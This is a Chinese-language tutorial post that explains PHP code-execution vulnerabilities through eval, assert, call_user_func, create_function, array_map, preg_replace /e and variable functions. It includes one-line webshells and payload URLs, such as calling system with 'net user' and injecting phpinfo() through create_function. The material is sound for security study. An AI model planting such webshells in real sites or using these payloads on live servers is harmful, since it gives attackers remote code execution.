PHP代码执行漏洞

Posted 笑花大王

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP代码执行漏洞相关的知识,希望对你有一定的参考价值。

前言

 最近的日子简简单单 早上起来健身+散打来一套 看看电视剧学习学习吃吃饭一天就结束了emmmm太快了一天 所以要更加努力!更加勤奋!

php代码执行漏洞

有的应用程序中提供了一些可以将字符串作为代码执行的函数,例如PHP中的eval函数,可以将改函数的参数当做PHP代码来执行。如果对这些函数的参数控制不严格,就可能会被攻击者利用,执行恶意代码

 1. eval函数

eval函数把字符串作为PHP代码执行

<?php eval("$_POST[1]")?>

 

 

 

 

 2. assert函数

assert函数检查一个断言是否为FALSE

<?php assert($_POST[1])?>

 

 

 

 3.call_user_func函数

call_user_func函数把第一个参数作为回调函数调用

函数语法:mixed call_user_func ( callable $callback , array $param_arr )

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数

<?php call_user_func($_POST[\'fun\'],$_POST[\'arg\'])?>

 

此代码为一句话木马的变形代码,通过POST型fun参数调用了system函数,通过POST型arg参数传入net user命令,执行了system(‘net usert’),返回当前用户信息

 

 

4. call_user_fun_array函数

call_user_func_array函数把第一个参数作为毁掉函数调用,把参数参数函数组作为回调函数

函数语法:mixed call_user_func_array ( callable $callback , array $param_arr )

 

call_user_func_array函数把第一个参数作为回调,把参数数组作为回调函数的参数传入

<?php call_user_func_array($_POST[\'fun\'],$_POST[\'arg\'])?>

 

5.create_function函数

create_function函数根据传递的参数创建匿名函数,并为该匿名函数返回唯一的名称

函数语法:string create_function(string $arges , string $code)

 

 示例代码:

<?php

$id=$_GET[\'id\'];

$code=\'echo\'.$func.\'test\'.$id.\'.\';

create_function(\'$func\',$code);

 ?>

create_function函数会创建虚拟函数转变成如下代码

<?php

$id=$_GET[\'id\'];
function func($func){
  echo "test".$id;

}

 ?>

 

当id传入1;}phpinfo();/*时 就可以造成代码执行

Payload: 

http://127.0.0.1/test.php?id=1;}phpinfo();/*

 

 

 

 

 

6. array_map函数

array_map函数为数组的每个元素应用回调函数

函数语法:array array_map(callable $callback,array $array[,array $array2…])

 

array_map函数返回为每个数组元素应用callback函数之后的数组。Callback函数形参的数量传给array_map函数的数组的数量必须相同

<?php
  $func=$_GET[\'func\'];
 $argv=$_GET[\'argv\'];
  $array[0]=$argv;
  array_map($func,$array);

 ?>

 

Payload: 

http://127.0.0.1/test.php?func=system&argv=net user

 

 

 

 

 

 7.preg_replace函数

preg_replace函数执行一个正则表达式的搜索和替换

语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

 

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

<?php
$subject="hello hack";
$pattern=\'/hack/\';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject)
 ?>

 

Payload:

http://127.0.0.1/test.php?name=xiaohua

 

 

 

 

Preg_replace函数会将hack替换成xiaohua,输出hello xiaohua

Preg_replace函数存在模式修饰符,其中,修饰符e会让preg_replace函数替换后的字符串作为PHP代码去执行。

如果设置了这个被弃用的修饰符,preg_replace函数对替换字符串进行后向引用替换之后,将替换后的字符串作为PHP代码执行(以eval函数方式),并使用执行结果作为实际参与替换的字符串。单引号、双引号、反斜线(\\)和null字符在后面向引用替换时会被自动加上反斜线转义。

<?php
$subject="hello hack";
$pattern=\'/hack/e\';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject)
 ?>

 

Payload: 

http://127.0.0.1/test.php?name=phpinfo()

 

PHP可变函数

Php支持可变函数的概念:如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它。这就意味着在PHP中可以把函数名通过字符串的方式传给一个变量,然后通过此变量动态地调用函数

 

<?php 
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar(){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

 $func=\'foo\';
 $func();
 $func=\'bar\';
 $func(\'test\');
 $func=\'echoit\';
 $func(\'test\')
 ?>

 

 

虽然PHP可变函数给开发人员带来了极大地便利,但同时也带来了极大地安全隐患,如果函数的名称可以被用户控制,而且没有做好过滤,就可能会造成恶意函数的执行。

Php可变函数漏洞示例代码:

<?php 
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar($arg=\'\'){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

$func=$_REQUEST[\'func\'];
$string=$_REQUEST[\'string\'];
echo $func($string);

 ?>

 

 

 

参考学习:《web安全原理分析与实践》

 

以上是关于PHP代码执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章

php代码审计4审计代码执行漏洞

php代码审计5审计命令执行漏洞

PHP代码执行漏洞

2020/1/28 PHP代码审计之代码执行漏洞

PHP远程代码执行漏洞:CVE-2019-11043

PHP 7的PHP-FPM存在远程代码执行漏洞